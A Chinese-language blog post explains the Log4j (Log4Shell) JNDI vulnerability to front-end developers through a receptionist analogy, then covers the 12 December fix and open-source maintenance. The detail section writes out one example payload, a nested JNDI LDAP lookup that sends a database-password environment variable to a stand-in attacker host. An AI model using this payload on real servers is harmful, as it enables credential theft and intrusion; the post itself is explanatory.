前段时间 Java Log4j 漏洞的话题非常火爆，漏洞影响的范围之大，也是前所未见。根据统计，包括谷歌，微软，腾讯，百度，滴滴，推特，京东，亚马逊等等公司的服务都存在漏洞，而他们的用户都是数以亿计。Log4j 漏洞导致这些用户的隐私数据有泄露的风险。

Log4j 是 Java 的一个开源库，功能是记录日志。之所以影响范围这么大，和 Java生态的广泛应用不无关系。

安装JDK时的经典截图，可以说明Java的广泛使用，而Java技术栈开发的服务更是数不胜数。Log4j 是最主流、常用的 Java 库之一，因为Java生态的巨大，Log4j 的漏洞才会有这么大的影响。

虽然 Log4j 已经修复了这个漏洞，话题热度也差不多过去了，但是相信还有很多人不清楚这个漏洞的原因。对于前端开发来说可能更不清楚漏洞是怎么产生的，学习一下 Log4j 的经验教训对我们以后的开发也大有裨益。

1.漏洞到底是怎么回事

我们来讲个故事，方便大家理解这个漏洞的核心。

L小姐是公司的前台，每天的任务之一就是登记来访人员的信息。她有一张表，每次记录来访人员的姓名，电话，来访时间和具体事项。

这项任务非常简单，L小姐做的很不错，一直没出什么问题。

直到有一天来了一位先生X，说自己是来参加一个重要会议的。现在会议已经开始了，时间紧急，他先去开会，姓名可以打电话询问。于是他留下一个电话就走了。

L 小姐拨打了这个电话，电话里面的人说他叫李四，是来参加会议的。顺便又和她聊了几句，问出了CEO明天要出差的信息。

L 小姐在表格中记下了X先生提供的信息。

L 小姐这里犯了几个错误，首先她本来的职责是记录信息，信息是单向输入的。现在由于这个X先生的情况，她向外打电话询问信息。
另外，最可怕的一点是，这个电话号码是X先生提供的，信息也是X先生提供的，因此L小姐无法确认信息的真实性，也无法判断信息是否对公司有害。
最后，由于和外界建立了沟通渠道，对方有可能从她这里窃取信息。

这就是 Log4j 漏洞的主要流程，是不是很简单？

2.漏洞的细节

如果你理解了上面的流程，接下来就很好理解了。Log4j 的日志是基于模板的，类似于L小姐的表格。Log4j 会把模板中的字段替换为真实的值，例如将模板中的日期字段 ${date:yyyy-MM-dd} 替换为真实的日期 2021-12-12。

除此之外，Log4j 还支持查询数据替换，就是你经常看到了 JNDI。使用JNDI查询的好处是可以通过一个参数查询其他信息，从而替换模板。比如程序中仅传递了用户ID，可以通过JNDI查询用户姓名等信息，然后再替换模板字段，完成日志的记录。JNDI对应的就是L小姐打电话的步骤，也是此次漏洞的核心。

使用JNDI查询也没有问题，因为查询的也是内部服务，不会与外部交互造成信息泄露。然后这里有一个问题：如果JNDI的查询地址里包含 ":"， JNDI将向该地址发送查询请求，并将查询结果写入日志。

概括该漏洞就是：Log4j记录日志时，JNDI可以向外部地址发送请求。

只要构造类似 * {jndi:ldap://attacker.com:1389/{jndi:ldap://attacker.com:1389/{env:MYSQL_PASSWORD}* 的日志，就能触发这个漏洞。攻击这可以获取环境变量，例如数据库密码等。
前端开发者都知道，向服务器发送请求会携带IP地址，因此攻击者也能够拿到服务器IP地址。借助其他工具攻击者完全有可能获取数据库权限，从而造成大面积的数据泄露。

除了请求会泄露信息外，恶意返回也是非常可怕的。攻击者可以返回恶意代码程序。比如有攻击者返回挖矿程序，让服务器变身矿机。

3.漏洞的修复

Log4j 在12月12号发布新版本修复了该漏洞，修复的方式也很简单：

• 限制JNDI只能访问本地的服务器
• 禁用大部分JNDI通讯协议

不能升级 Log4j 的服务可以设置禁用 JNDI 来避免问题。

4.事件的反思

漏洞虽然修复了，但是漏洞的原因还是值得我们的反思。当初支持JNDI查询的原因就是为了 "方便"，又因为只能访问内网服务就没有过多的考量安全性。

虽然这是Java的漏洞，但是目前Node在服务端的应用越来越多，前端开发者也应该主要安全问题。

另一个值得反思的是开源项目的支持。Log4j 项目除作者外仅有3个人贡献过代码，很难想象如果此广泛使用的库，维护的人竟然这么少。Log4j 作者也在社交媒体发文报委屈，自己分文未取，出了问题竟然这么多人责难。

开源项目的维护发展确实应该考虑，那些使用这些开源项目的大公司应该提供一些人力参与维护。

欢迎点赞，评论，转发~